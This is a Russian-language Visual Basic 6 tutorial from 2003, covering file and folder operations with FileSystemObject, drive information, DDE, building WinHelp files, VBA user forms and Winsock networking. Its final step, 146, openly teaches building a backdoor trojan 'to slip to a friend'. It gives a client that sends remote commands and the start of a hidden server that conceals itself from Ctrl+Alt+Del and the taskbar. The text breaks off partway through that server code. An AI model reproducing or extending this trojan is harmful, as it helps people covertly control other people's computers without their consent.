Подключи библиотеку Microsoft Scriptig Runtime, на форму кинь 4 кнопки, 6 меток. Щас мы сделаем программу, которая будет создовать, удалять, копировать, перемещать, выводить размер, дату создания.... Пример я представлял двумя способами, ты можешь использовать какой хочешь. Код:

Dim fso As New FileSystemObject, f As Folder ' Создаем объект FSO и объявляем переменную f для работы с папками

Private Sub Command1_Click()
fso.CreateFolder ("c:\111111")
 ' Для создания папки есть метод CreateFolder
End Sub

Private Sub Command2_Click()
' Способ 1
Set f = fso.GetFolder("c:\111111")
f.Delete True
' Способ 2
'fso.DeleteFolder ("c:\111111")
End Sub

Private Sub Command3_Click()
' Способ 1
Set f = fso.GetFolder("c:\111111")
f.Copy "c:\games\"
' Способ 2
'fso.CopyFolder "c:\111111", "c:\games\"
End Sub

Private Sub Command4_Click()
' Способ 1
Set f = fso.GetFolder("c:\111111")
f.Move "c:\games\"
 ' только не забывай в самом конце папки ставить "\", а то при перемещении и копировании не сработает
' Способ 2
'fso.MoveFolder "c:\111111", "c:\games\"
End Sub

Private Sub Form_Load()
' Узнаем есть папка 111111, если нет то сообщаем(метод возвращает False), а если есть то выводим все данные о ней(метод возвращает True)
If fso.FolderExists("c:\111111") = True Then

Set f = fso.GetFolder("c:\111111")
' Дата создания
Label1.Caption = "Файл создан:" & f.DateCreated
' Дата изменения
Label2.Caption = "Файл изменен: " & f.DateLastModified
' Дата открытия
Label3.Caption = "Файл открыт:" & f.DateLastAccessed
' Имя папки родителя
Label4.Caption = "Папка родич(т.е. та папка в которой эта папка находится): " & f.ParentFolder
' Путь к папке
Label5.Caption = "Путь: " & f.Path
' Размер
Label6.Caption = "Размер: " & f.Size / 1024  ' здесь я написал / 1024, чтоб в килибайты перевести

Else
MsgBox "Такой папки не существует", 16, ""
End If
End Sub

По началу может показаться что пример сложный, т.к. много всяких новых методов, НО не обязательно их помнить(ты что думаешь, что я их все наизусть знаю?), просто ставишь имя переменной(здесь f), потом точку, и у тебя список выпадает,  в нем всего штук 10 методов, а по названию можно определить нужный.
Исходник качай Отсюда

ШАГ 126

Работаем с дисководами, сидюками, и им подобным

С помощью FSO можно узнавать полную инфу о сидиках и им подобных. Вот код(только не забывай подключать библиотеку для работы с FSO):

Dim fso As New FileSystemObject, D As Drive
Private Sub Form_Load()
Set D = fso.GetDrive("c:")  ' Узнаем есть диск в сидюке(ил подключен диск) ил нету. Если есть то метод возращает True, если нет то False
If D.IsReady = True Then

Label1.Caption = "Всего места: " & D.TotalSize / 1024 / 1024 / 1024
 ' Узнаем кол - во свободного места, здесь я написал / 1024 / 1024 / 1024 - это перевод из байтов в гигабайты
Label2.Caption = "На диске свободно: " & D.AvailableSpace / 1024 / 1024 / 1024

  ' Узнаем кол - во свободного места, здесь я написал / 1024 / 1024 / 1024 - это перевод из байтов в гигабайты(можно использовать и FreeSpace, эффект такой же)
' чтобы узнать сколько занято надо от кол- ва места на диске отнять кол - во свободного места
Label3.Caption = "На диске занято: " & (D.TotalSize - D.AvailableSpace) / 1024 / 1024 / 1024
Label4.Caption = "Буквенное обозначение диска: " & D.DriveLetter
' Узнаем буквенное обозначение диска
Label5.Caption = "Файловая система: " & D.FileSystem
 ' Узнаем файловую систему
Label6.Caption = "серийный номер: " & D.SerialNumber
  ' Узнаем серийный номер диска
Else
 ' Если сидюк недоступен, то выводим сообщение
MsgBox "Сидюк не доступен"
End If
End Sub

Исходник качай отсюда

ШАГ 127

Работаем текстовыми файлами при помощи FSO

На форму кинь текстовое поле(MultiLine = True), 4 кнопки(у 1ой Caption = "Создать txt", у 2ой = "Удалить", у 3ей = "Запись", у 4ой = "Чтение"). Размести библиотеку для работы с FSO. Код:

Dim fso As New FileSystemObject, f As File, txt As TextStream ' Тип TextStream нужен для работы с текстовыми файлами, только не путай его с File(это для работы со всеми файлами)

Private Sub Command1_Click()
Set txt = fso.CreateTextFile("c:\1.txt") ' Создаем текстовой файл
End Sub

Private Sub Command2_Click()
fso.DeleteFile ("c:\1.txt") ' Удаляем текстовой файл
End Sub

Private Sub Command3_Click()
Set f = fso.GetFile("c:\1.txt") ' Получаем доступ к файлу
Set txt = f.OpenAsTextStream(ForWriting) ' Открываем(в скобках это тип записи(ну как и у оператора Open); ForAppending - Добавление записей к уже существующем в файле(тоже самое что и Append в операторе Open); ForWriting - это запись по - новому(тоже что и Output у оператора Open) ; ForReading - это для чтения файлов(тоже что Input у Open`a))
txt.Write (Text1.Text) ' Записываем в файл содержимое текстового поля(можно использовать и метод WriteLine)
txt.Close ' Закрываем
End Sub

Private Sub Command4_Click()
Set f = fso.GetFile("c:\1.txt") ' Получаем доступ к файлу
Set txt = f.OpenAsTextStream(ForReading) ' Открываем
Text1.Text = txt.ReadLine ' Читаем содержимое файла в текстовое поле
txt.Close ' Закрываем
End Sub

У текстовых файлов почти такие же свойства и методы как и у папок(узнать размер, путь, имя...), так же как и папки их можно копировать и перемещать, поэтому я не буду про это писать. Тут ни чего сложного нет. А вот задание:
Короче добавь к этому примеру еще 2 кнопки(Копировать и Переместить), и напиши код для копирования и перемещения текстового файла. Исходник качай отсюда

ШАГ 128

Создание Клиента & Сервера DDE на VB

Ну для начала я расскажу для чего это вообще нужно. Вся эта фигня нужна для того чтоб устанавливать связь между двумя разными приложениями (Клиентом & Сервером), например мы будем делать проект, в котором будет 2 программы (Клиент & Сервер), изменив текст в Сервере он, изменится и в Клиенте (Ты наверное думаешь: "Нахрен мне это надо?" - это тебе надо! Когда мы будем делать Chat(через пару шагов (Пока я взял чей - то перевод, но в следующих обновлениях я постараюсь сам написать о создании Chat`a, да и вообще о Winsock))).Для начала создадим Сервер, он будет посылать сообщения Клиенту.
Создаем Сервер
Войди в VB(Standart EXE), на форму кинь текстовое поле. Переименуй проект в Server( для этого войти в Project/Project1 Properties... и в открывшемся окне, в поле Project Name - введи любое имя. (подробнее читай в 26 Шаге), форму переименуй в Servak(Name), свойство LinkMode = 1 - Source, LinkTopic = Client - это имя формы клиента.

Сервак готов!!! Теперь сделаем Клиента.
Создаем Клиент
Войди в VB(Standart EXE), на форму кинь текстовое поле. Форму переименуй в Client, и введи код:
Private Sub Form_Load()
Text1.LinkTopic = "Server|Client" 'Здесь Server это имя проекта Сервера (мы вроде так его назвали?), а Client - имя формы клиента
Text1.LinkItem = "Text1" 'Имя Текстового поля Сервера
Text1.LinkMode = 1 '1 - означает Автомат (не в прямом смысле:-))), т.е. при изменение текста в Сервере, в Клиенте тоже будет меняться (Автоматом)
End Sub
Теперь запускай сервер, а потом клиент. При изменение текста в сервере, в клиенте он тоже изменится. Это была подготовка к созданию таково же приложения только на разных компах (через инет).
Исходник качай отсюда

ШАГ 129

Работа с HELP`ом. Начало:

Почти все программы содержат справку, в ней написанно как с программой работать. В следующих шагах мы будем создовать хелп, и внедрять в свои программы.
Есть 2 вида хелпа:
Первый создается с помощью спец. компилятора CHM, его ты можешь скачать с моего сайта в разделе программы. Этот компилятор преобразовывает файлы написанные на HTML в CHM.
Второй вид хелпа создается при помощи программы Help Workshop, она постовляется вместе с VB(у меня она находиться в Пуск>>Программы>>Microsoft Visual Studio 6.0>>Microsoft Visual Studio 6.0 Tools>>HelpWorkShop). (Или можешь найти программу HCW.exe).
только для создания этого хелпа тебе еще понадобиться программа Microsoft Word 98 и выше(она с офисом поставляется), если нет Worda, то подойдет любой RTF редактор.

ШАГ 130

Создания хелпа с помощью компилятора

Для начала скачай с моего сайта в разделе Программы программу - Компилятор CHM, и создай страницу(если не знаешь как, то ищи справочник по HTML). Открой программу, нажми на кнопку Обзор напротив поля Web-страничка(in). Выбери страницу(*.htm ил *.html), и нажми на OK. Теперь жми на кнопку Собрать. И все! Справка создана!
P.S. В этой программе можно еще и делать обратную операцию, т.е. из CHM в HTML.

Четарнадцатая часть

Автор учебника: Падре
Дата создания: 22 мая 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 131

Создания хелпа с помощью WorkShopa. Сноски:

Ну как я уж и говорил, что нужен будет Microsoft Word(ил любой RTF редактор). У меня сейчас стоит Word 2000, в 98 так же.
Ну начнем.
В начале надо создать файл с типом RTF, потом его откомпилировать. Начнем с создания, открой Word. Теперь можешь туда пихать рисунки, заголовки, и т.д. и т.п. Но вот например, чтоб ссылку сделать, или еще что нибуть в этом роде нужны сноски. Для их добавления нажми на Вставка>>Сноска. Открывается окно, в нем жми на переключатель Другая и в текстовом поле впиши имя(или фамилию :-)) сноски.
Сноски

Потом у тебя окно Worda поделиться на 2 части(1 - ая это основной документ, 2 - ая это сноски). Если не поделиться то жми на Вид>>Сноски
Вот основные типы сносок:

$ - Используется для отображения списка тем на закладке «Поиск», в хронологии, закладках.
K - Слова написанные после этой сноски будут составлять список "Предметный указатель"
# - Это для создание ссылок
+ - Темы отмеченные плюсом связываются в группу по которой можно перемещаться кнопками >> и <<.

P.S. Для разрыва страницы, надо нажать на CTRL+Enter, и тогда появится полоска разделяющая страницу(т.е. это в справке как новый лист будет)

ШАГ 132

Создания хелпа с помощью WorkShopa. Перекрестные ссылки:

Ну теперь к делу перейдем, начнем с ссылок. Напиши слово Ссылка, потом выдели его, и по выделенному слову кликни правой кнопкой крысы, и в меню нажми на "Шрифт". У тебя окно откроется, и в нем будет меню Подчеркивание, в нем выбери Двойное подчеркивание
Двойное подчеркивание
Жми на ОК! Теперь не отступая пробела от слова ссылка поставь букву R(это как раз и будет ссылкой), выдели ее(букву), нажми в меню на Шрифт, и в окне Шрифт поставь галку на слове Скрытый
Скрытый
Жми на OK!
Теперь нажми на CTRL+Enter(короче мы ссылку на другую страницу делать будем), и после полоски поставь сноску #(после сноски можешь что - нибуть вписать)(Вставка>>Сноска>>Другая и в текстовом поле впиши #). Потом во 2ой части(т.е. Сноски) после знака # поставь букву R(т.е. #R(это закладка)). Все ссылка готова. Вот то что у тебя должно получиться:

Теперь сохрани этот документ в формате RTF
P.S. В самом начале мы скрыли букву R, так чтоб ее видно было зайди Сервис>>Параметры>>Общие и жми на галку скрытый текст

ШАГ 133

Кнопка Options... Компиляция RTF в HLP.:

Для начала открой WorkShop, нажми на File>>New у тебя откроется окно New, в нем из списка выбери Help Project, и жми на OK. Потом откроется окно сохранения файлов, короче сохрани файл на рабочий стол. После сохранения, появляется основное окно:

Теперь надо все это дело настроить, и откомпилировать наш файл из RTF в HLP. Начнем с кнопки Options:

Кнопка Options вкладка General:

Default Topic - сюда ты можешь вписать имя закладки(но необязательно), например, если ты впишешь R то у тебя будет грузиться страница с закладкой R(т.е. 2ая страница), ну короче сюда пока ни чего не вписывай.
Help title - вписанный сюда текст будет заголовком у справки.
Display this text in the Version dialog box - вписанный сюда текст будет отображаться ( в откомпилированной справки) когда чел входит в Справка>>Версия
If users paste or print help, display - вписанный сюда текст будет выводиться в конце странице при печати, ил когда чел скопирует текст(ил символ), и вставит его.(например, если чел скопирует слово из справки, и вставит его в блокнот, то к вставленному слову прибавляется(на след. строке) еще и текст вписанный в это текстовое поле)

Кнопка Options вкладка Compression:

здесь можно поставить коэфицент сжатия, короче всегда ставь на Maximum(чтоб меньше весило)

Кнопка Options вкладка Files:

Help File - имя откомпилированного файла.
Log File - сюда можешь ни чего не вписывать, а вобще это имя log файла, т.е. после компиляции появляется текст описывающий процесс компиляции.
Rich Text Format files - здесь выбери файл который мы делали в предыдущем шаге, т.е. RTF
Contents file - здесь надо выбрать файл со списком тем, но об этом в следующих шагах.
Tmp folder - здесь надо выбрать папку для хранения временных файлов, т.е. файлов создовающихся в процессе компиляции.
P.S. Теперь можешь откомпилировать справку, для этого нажми на кнопку Save and Compile, ил File>>Save, потом File>>Compile
Все файлы ты можешь скачать Здесь

ШАГ 134

Кнопка Files:

Эта кнопка нужна для добавления/удаления дополнительных RTF файлов.
Вот например, ты можешь создать новый RTF файл, и сделать в нем закладку(например #H(только не забудь добавить его(кнопка Add(можно и удалить кнопка Remove)))), и в старом(который мы предыдущем шаге делали) указать ссылку на #H, и у тебя будет все это работать.
Короче ссылки на закладки в другие RTF файлы делаются также как и обычные ссылки, т.к. после компиляции все в одну кучу сваливается.
Короче если ты ни фига не понял, то качай пример(внизу).
Можно выбрать папку с RTF, и тогда добавляются все RTF файлы которые в этой папки(кнопка Folder)
Пример

ШАГ 135

Создание что - то типа подсказок(не знаю как это называется):

Короче много говорить не буду(времени мало), скажу только что можно делать еще что - то типо подсказок.
Сделай короче все тоже самое что и в шаге 134, только слово Ссылка подчеркни не двойной, а одинарной линией(ил пунктиром). Откомпилируй, и любуйся :-)
Пример

ШАГ 136

Кнопка Windows:

Нажми на кнопку Windows, у тебя окно Create a window, в текст. поле впиши - "New", это и будет новое окно.

Жми на ОК.
Вот свойства:
Кнопка Windows вкладка General:

Windows type - имя нового окна(если будет несколько имен, то для каждого выбранного в этом списке окна, будут устанавливаться(тобой) отдельные свойства)
Title bar text - Заголовок окна
Window attribute - Атрибуты окна связанные с его размещением на экране:
auto-size height – размер окна автоматически подбирается по текст.
maximize window – окно разворачивается на весь экран.
keep help window on top – окно не перекрывается другими окнами.

Кнопка Windows вкладка Position:

Window type – имя нового окна
Adjust for user’s screen resolution – Автоматический подбор размеров под разрешение экрана
AutoSizer – с помощью этой кнопки можно подобрать размеры окна. Короче, жмешь на кнопку, открывается окно, устанавливаешь размеры этого окна, и жмешь на OK. Новое окно будет таких - же размеров как и это.
Кнопка Windows вкладка Button:

здесь можно установить кнопки, которые отображаться в новом окне будут:

Contents (Разделы) – список тем справки (необходим CNT файл).
Index (Указатель) – поиск по ключевым словам.
Find (Поиск) – поиск.
Print (Печать) – печать темы.
Back (Назад) – вернуться на тему назад.
Browse (<<,>>) – последовательное перемещение по темам.
Option (Параметры) – параметры отображения.

Кнопка Windows вкладка Color:

Установка цвета окон, об этом потом.

ШАГ 137

Создание новых окон:

Нажми на кнопку Windows, у тебя окно Create a window, в текст. поле впиши - "New", это и будет новое окно.

Жми на ОК.
В свойстве Title bar text - впиши - Новое окно Теперь открой старый RTF, и туды добавь ссылку Ссылка на новое окно(только не забудь двойной чертой подчеркнуть. ОК?). Теперь не отступая пробела впиши J>New(J - это ссылка на закладку, а >New означает что эта ссылка на закладку будет в новом окне открываться(только скрыть текст не забудь(J>New), ладно?)).
Теперь жми на CTRL+Enter, и после черты разрыва страницы поставь сноску - #J, и впиши любой текст(этот текст в новом окне открываться будет)
Вот что у тебя получиться должно:

Пример

ШАГ 138

Фон:

Чтоб установить цвет у справки надо кликнуть по кнопке Windows, создать новое окно с именем main

, нажать на вкладку Color, и там поставить цвет. Вот пример нашей справки:

Можно делать справку с заголовком:

Для этого в Ворде выдели самую первую строку(ил первую строку после разрыва страницы), и поставь в поле Стиль - Заголовок

Пример

ШАГ 139

Делаем файл со списком тем:

Открой WorkShop, нажми на File>New, в окне New

Жми на OK, и перед тобой откроется окно:

В текст. поле Default title впиши заголовок справки.
Нажми на кнопку Add Below, кликни по переключателю Heading, и в поле Title впиши заголовок.

Теперь опять нажми на Add Below, кликни по переключателю Heading, и в поле Title впиши заголовок. Жми на OK. Теперь выдели созданный список, и кликни по кнопке Move Right

Теперь сделаем ссылку, Add Below, кликни по переключателю Topic:
В поле Title - впиши заголовок
В поле Topic ID - впиши имя закладки(например если закладка #R то впиши просто R)
Жми на OK, сохрани(File>Save As) проект в той же папки где и остальные файлы справки. ОК? Теперь войди в WorkShop(Help Project(хотя нет, лучше откроЙ СТАРЫЙ файл *.hpj)). Нажми на кнопку Options вкладка Files, и в поле Contents File выбери файл со списком(на кнопку Browse кликни. OK?). Теперь откомпилируй проект, и любуйся!
Пример
 P.S. Немного о сносках(неохота было делать доп. шаг):
Сноска + - Темы отмеченные плюсом связываются в группу по которой можно перемещаться кнопками >> и <<, только в начале нажми на кнопку Windows, в списке Windows Type: выбери окно Main, теперь кликне по вкладке Button, и поставь везде галку.

ШАГ 140

Вызываем файл справки из VB:

Вобще - то у меня в разделе Статьи есть статья, специально на эту тему, но я в краце скажу про это:
Войди в VB(Standart EXE), нажми на Проект(Project)>>Project1 Свойства(имя_проекта Properties)(у меня VB на половину русский, если у тебя English, то качай с моего сайта руссификатор.).
В окне свойств напротив поля имя нажми на кнопку ..., и выбери там файл справки. Теперь код:

Private Declare Function WinHelp Lib "user32" Alias "WinHelpA" (ByVal hwnd As Long, ByVal lpHelpFile As String, ByVal wCommand As Long, ByVal dwData As Long) As Long

'При нажатии на кнопку вызываем файл справки(App.HelpFiles)
Private Sub Command1_Click()
WinHelp Me.hwnd, App.HelpFile, &HF, HELP_TAB
End Sub

Пятнадцатая часть

Автор учебника: Падре
Дата создания: 5 июля 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Программирование на VB


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 141

Что такое VBA? или Введение.

И так что такое VBA? Полностью название языка расшифровывается так: Visual Basic for Applications. Он поставляется с пакетом программ Office. Он создан, для того чтобы делать программы пакета Office под определенного пользователя. Т.е. с его помощью можно делать программы, например для Worda, которые будут легко выполнять однообразную работу за пользователя. В этой статье мы научимся работать с так называемыми «Пользовательскими формами» написав маленькую программу «Конвертор скорости км/ч в м/c».

Эта статья рассчитана на тех, кто уже умеет программировать (хотя бы чуть-чуть) на Visual Basic. Поэтому я не стану объяснять, что такое переменные, как их записывать, что такое элементы управления и прочее...

  • Автор шага: Ашот Даниелян
  • Сайт: Visual Basic
  • Мыло: ashdan87@mail.ru

    ШАГ 142

    Различия и сходства между VBA и Visual Basic.

    Сразу оговорюсь, всех различий и сходств я не знаю. Я назову только основные сходства и различия языков. Первое и самое главное: программы написанные на VBA невозможно компилировать в отдельные EXE файлы для Windows, для их работы необходимы окна тех программ из пакета Offica для которых они написаны, например Word, Excel, PowerPoint, Access. В принципе написания программного кода эти языки очень похожи за исключением некоторых случаев, которые не рассматриваются в данном примере. Интерфейсы двух языков очень похожи, и поэтому кто умеет работать с Visual Basicom не встретит много трудностей в использовании VBA.

  • автор шага: Ашот Даниелян
  • Сайт: Visual Basic
  • Мыло: ashdan87@mail.ru

    ШАГ 143

    Создание программы на VBA с использованием USER FORM

    А сейчас, как я и обещал, мы начнем писать 1 программу с использованием User Form. Эта программа будет рассчитана для Word. Чтобы начать писать программу запустим Word (вы должны знать сами как это делать). После того как текстовый редактор откроется, запустим VBA. Есть два варианта запуска: 1 короткий, нажать Alt + F11, 2 длинный (вы его должны знать тоже): «Сервис * Макрос * Редактор Visual Basic». В открывшемся окне нажимаем «Insert * User Form». Должно получиться примерно так:

    Все с объяснениями, кажется, я закончил, приступим к созданию самой программы. Меняем свойство Caption формы на: Программа конвертор. На форме располагаем объект Frame с именем Frame 1 и свойством Caption = км/ч в м/с. В этот объект вставляем 2 текстовых поля с именами TextBox1 TextBox2. У TextBox2 свойство Locked = True (чтобы в него нельзя было ввести текст) .Напротив 1 текстового поля ставим метку (Label) со свойством Caption = «км/ч», напротив второго, метку с Caption = «Результат в м/с». Под текстовыми полями ставим кнопку с именем CommandButton1 и Caption = «Вставить результат в документ». У вас должна получится примерно такая форма:

    Приступим к созданию текста программы. Совсем забыл сказать: Наша программа будет (как вы уже наверное догадались) переводить км/ч в м/с и вставлять результат в документ Word.

    Вычисление результата мы вынесем в отдельную процедуру Scet, которую будем вызывать из события TextBox1_ Change (оно работает при вводе текста в текстовое поле). Результат вычислений будет вставляться в TextBox2. Также, перед решением (в процедуре Scet) мы будем проверять, правильное ли введено значение в TextBox1 (оно должно быть только числовым и не быть меньше нуля), для этого будем использовать функции IsNumeric и Val (их синтаксис и применение смотрите в справке). Если пользователь введет неправильное значение, будет блокироваться кнопка (свойство Enabled = False). В кнопке будем использовать событие Click. При нажатии на нее будем проверять есть ли открытый документ Word, если его нет, то откроем его : If Documents.Count = 0 Then Documents.Add. Дальше мы будем вставлять в документ результаты наших вычислений, да непросто цифры голые вставлять, а целую фразу: Selection.Text = TextBox1.Text & " км/ч = " & TextBox2.Text & " м/с". Теперь надо сделать так, чтобы наша фраза не стирала предыдущий текст (т.е снять с нее выделение). Для этого есть функция Collapse, ее синтаксис: Selection.Collapse Direction:=wdCollapseEnd (подробнее про нее смотрите в справочной системе). Дальше я привожу полный текст программы, надеюсь вы с ней разобрались:

    Private Sub CommandButton1_Click()
If Documents.Count = 0 Then Documents.Add
Selection.Text = TextBox1.Text & " км/ч  = " & TextBox2.Text & " м/с"
Selection.Collapse Direction:=wdCollapseEnd
End Sub

Private Sub TextBox1_Change()
Scet
End Sub

Private Sub Scet()
Dim rez As Double
If IsNumeric(TextBox1.Text) = True And Not Val(TextBox1.Text) = 0 Then
rez = ((TextBox1.Text) * 1000) / 60 / 60
TextBox2.Text = rez
CommandButton1.Enabled = True
Else
TextBox2.Text = ""
CommandButton1.Enabled = False
End If

End Sub

    Теперь сделаем так, чтобы можно было запускать программу из Word’a. Для удобства переименуем нашу форму в Perevod (свойство Name формы). Потом создадим модуль (Insert*Module) присвоим ему имя Convert (свойство Name модуля) и напишем туда следующий текст:

    ConvertCount()
Perevod.Show
End Sub

    Теперь осталось вытащить нашу программу на одну из панелей Office’a. Для этого нажимаем на Другие кнопки (серый треугольник в конце панели инструментов), в длинном списке кнопок нажимаем на «Настройки». Перед вами откроется окно «Настройка», выберите в нем пункт «Команды». В разделе «Категории» находим и кликаем на «Макросы». С право от «Макросов» находится раздел «Команды», в нем выбираем Normal.Convert.ConvertCount и перетаскиваем на одну из приглядевшихся вам панелей инструментов. Эту кнопку можно отредактировать, вместо названия поставить картинка, как у других кнопок.

    На этом знакомство с User Form закончено. Если вам понравилась моя статья или возникли какие - нибуть вопросы ко мне шлите их мне на мыло. Также, я буду рад вашим исходникам написанным на VB6.

  • автор шага: Ашот Даниелян
  • Сайт: Visual Basic
  • Мыло: ashdan87@mail.ru

    ШАГ 144

    Контрол Winsock. Узнаем свой IP адрес

    Этот контрол нужен в основном для связи с удаленным компом, но можно с ним делать и другие штуки. Например, сейчас мы узнаем свой IP адрес. Создай новый проект, нажми на Project/Components/MicrosoftWinsock Control 6.0, и кинь на форму появившийся на панели инструментов Winsock1, и кнопку. Код:
    Private Sub Command1_Click()
    MsgBox Winsock1.LocalIP
    End Sub

    ШАГ 145

    Контрол Winsock:

    Этот контрол нужен для связи двух компов, его очень часто используют для локалок ил для создания троянов(об этом потом :-)). В этом шаге мы сделаем простую программу типо Клиент - Сервер.
    Клиент - это программа которая посылает сигналы серверу, а сервер ждет сигналов клиента(ну ты меня понял?). Начнемс...
    Для начала сделаем Сервер, он будет ждать сигнала клиента, и когда клиент выйдет на связь, можно будет посылать сигналы от сервера к клиенту, и наоборот. Короче будет что то типо чата.
    Войди в VB(Standart Exe), подключи компонент МелкоСофт Winsock Контрол 6.0, на понели инструментов появится объект Winsock, закинь его на форму. На форму кинь еще 2 текстовых поля(1ое - отправка сообщений, 2ое - прием сообщений). Вот код:

    Private Sub Form_Load()
    Winsock1.LocalPort = 101 ' Указываем порт который будет слушать Сервер
    Winsock1.Listen ' Начинаем Слушать порт
    Form1.Caption = "Сервер"
    End Sub

    Private Sub Text1_Change() ' При изменении текста в текстовом поле:
    Winsock1.SendData Text1.Text ' Посылаем клиенту текст который введен в текстовое поле
    End Sub

    Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    If Winsock1.State <> sckClosed Then Winsock1.Close ' Если сервер не закрыт, то закрываем его(подробнее смотри ниже)
    Winsock1.Accept requestID ' Принимаем запрос
    End Sub

    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Если Клиент посылает текст то:
    Dim D As String ' Объявляем переменную для работы со строками
    Winsock1.GetData D ' Записываем в переменную текст, который был послан Клиентом
    Text2.Text = D ' Здесь все понятно, скажу только что нельзя напрямую писать Winsock1.GetData Text1.Text, надо обязательно через переменную
    End Sub

    Ну усе, сервер готов, теперь надо сделать Клиент. Ой... чуть не забыл... короче вот таблица:
    Константа | Описание
    sckClosed | Такое значение стоит при запуске программы или когда порт закрыт
    sckOpen | Порт открыт
    sckListening | Порт прослушивается
    sckConnectionPending | Ожидание связи
    sckConnecting | Подключение к хосту
    sckConnected | Связь установлена
    sckClosing | Связь закрывается...
    sckError | Ошибка
    Вот про это я и говорил, в строке If Winsock1.State <> sckClosed Then, вместо sckClosed ты можешь вписать любую константу из таблицы.
    Теперь мы сделаем клиент, на форму опять кинь контрол Winsock, 2 тектовых поля, вот код:

    Private Sub Form_Load()
    Winsock1.RemoteHost = "127.0.0.1" ' Указываем IP компа, на котором запущен сервер(В место IP`a можно указать имя компа(Мой Компьютер>>Панель управления>>Сеть>>Индефикация(Winsock1.RemoteHost = "Komp")))(если ты сейчас не в сети(ил в локалке), то твой IP всегда будет 127.0.0.1)
     Winsock1.RemotePort = 101 ' Указываем порт сервера
    Winsock1.Connect ' Подключаемся
    Form1.Caption = "Клиент"
    End Sub

    Private Sub Text1_Change() ' При изменении текста:
    Winsock1.SendData Text1.Text ' Отправляем текст
    End Sub

    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Если сервер посылает текст то:
    Dim DD As String ' Объявляем переменную для работы со строками
    Winsock1.GetData DD ' Записываем в переменную текст, который был послан Сервером
    Text2.Text = DD
    End Sub

    Все, теперь запусти Сервер, а потом Клиент. Впиши в Текстовое поле текст, и он появится в другом текстовом поле(если текст вписан в сервер, то он появится в клиенте, и наоборот).
    Исходник

    ШАГ 146

    Контрол Winsock. Делаем Троян:

    Троян("Понни") - нужен для удаленнго управления вражеским компом, т.е. подкидываешь его другу, и если он в нете будет, то ты можешь что нибуть с его компом сделать. Трояны делятся на много типов, но мы будем делать самый распространенный(BackDoor).
    Начнем.
    Для начала сделаем клиент:
    На форму кинь 5 кнопок(у 1 Caption = "Присоедениться", у 2ой = "Отсоедениться", у 3ей = "Открыть сидюк", у 4ой = "Послать сообщение", у 5ой = "Закрыть сервер", 1 текстовое поле, 1 метку Caption = "IP", ну и не забудь подключить Winsock(родимый!:-))):

    Код:

    Private Sub Command1_Click()
    Winsock1.RemoteHost = Text1.Text ' Устанавливаем IP вписанный в текстовое поле
    Winsock1.RemotePort = 1000 ' Устанавливаем порт
    Winsock1.Connect ' Соеденяемся
    End Sub

    Private Sub Command2_Click()
    Winsock1.Close ' Отключаемся
    End Sub

    Private Sub Command3_Click()
    On Error Resume Next ' Если происходит ошибка(нет соединения, а ты нажал на кнопку) то пропускаем следующюю строку
    Winsock1.SendData "CD" ' Посылаем серверу команду CD
    Bla ' Вызываем функцию Bla
    End Sub

    Function Bla() ' Эта функция будет обрабатывать ошибки
    If Err.Number = 40006 Then MsgBox "Связь с сервером не установлена", 48, "Ты не правильный IP ввел" ' Здесь если происходит ошибка 40006(нет соединения), то выдаем сообщение об этом
    End Function

    ' Дальше объяснять не буду(и так все понятно)
    Private Sub Command4_Click()
    Dim S As String
    S = InputBox("Введи текст", "Смерть ламерам")
    On Error Resume Next
    Winsock1.SendData S
    Bla
    End Sub

    Private Sub Command5_Click()
    On Error Resume Next
    Winsock1.SendData "End"
    Bla
    End Sub

    Private Sub Form_Load()
    Text1.Text = "127.0.0.1"
    End Sub

    Ну усе, клиент готов, теперь нужен сервер:
    У Формы свойство Visible = False, на нее кинь Winsock1(только не забудь его подключить, ОК?), и таймер. Вот код:

    ' API функции:
    ' Открываем сидюк
    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
    Dim Status As Integer

    ' Скрываем программу от CTRL + ALT + DEL
    Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
    Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long

    ' Скрываем программу с Панели задач(это напротив Пуска)
    Const WS_EX_APPWINDOW = &H40000
    Const GWL_STYLE = (-16)
    Const GWL_EXSTYLE = (-20)
    Const SW_HIDE = 0
    Const SW_NORMAL = 1
    Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
    Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
    Const SWP_SHOWWINDOW = &H40
    Const SWP_HIDEWINDOW = &H80
    Dim ret&

    Private Sub Form_Load()
    ' Скрываем программу с Панели задач(это напротив Пуска)
    ShowWindow Form1.hwnd, SW_HIDE
